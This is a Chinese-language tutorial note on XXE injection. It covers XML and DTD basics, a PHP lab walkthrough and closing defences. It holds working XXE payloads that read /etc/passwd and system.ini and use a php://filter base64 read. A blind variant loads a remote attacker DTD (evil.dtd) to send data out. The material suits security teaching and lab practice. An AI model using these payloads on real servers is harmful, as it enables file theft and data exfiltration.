8-XXE滲透與防御
1、XXE漏洞(上)
1.1 XML基礎知識
可拓展標記語言,html里的標簽是固定的,xml可以自定義標簽
用途:
1、配置文件
2、交換配置(通信)
1.2 XML內容
第一行XML聲明,對應的版本和編碼
XML根元素+XML子元素
格式要求:
- XML文檔必須有根元素
- XML文檔必須有關閉標簽
- XML標簽對大小寫敏感
- XML元素必須被正確的嵌套
- XML屬性必須加引號
1.3 DTD文檔類型定義:可以根據XML自己定義格式規范
1.3.1 DTD內容之元素


1.3.2 DTD內容之實體:定義被引用的文件或字符(相當于全局變量)


1.3.3 外部實體ENTITY

file:///etc//passwd
php://filter/read=convert.base64-encode/resource=index.phh
http://wwuya.com/evil.dtd
1.4 完整的XML內容

2、XXE漏洞(中)
2.1 XXE定義
XML外部實體注入(XXE或XEE)
如果Web應用的腳本代碼沒有限制XML引入外部實體,從而導致用戶可以插入一個外部實體,并且其中的內容會被服務器端執行,插入的代碼可能導致任意文件讀取、系統命令執行、內網端口探測、攻擊內網網站等危害
原因:使用XML傳輸數據,并且允許解析外部實體
2.2 XXE靶場(PHP)
2.2.1 第一步:確定它使用的是XXE格式傳輸數據,F12查看login后的Network


2.2.2 第二步:修改傳輸數據的內容,添加外部實體
BP抓包

添加外部實體,并引用
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE a[
<!ENTITY xxe SYSTEM "file:///C:/Windows/system.ini">]>
<name>&xxe;</name>
在內容中加上&xxe;

2.3 盲打(如果沒有回顯情況)
使用DNSLog.cn網站,查看有沒有網站訪問,以此來驗證攻擊是否成功
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://xxx">%remote;]>
后者傳輸到自己的服務器.dtd
3、XXE漏洞(下)
3.1 XXE防御
1、在解析XML之前,加入禁用實體解析的代碼
2、過濾用戶提交的XML數據
3、WAF,如ModSecurity

浙公網安備 33010602011771號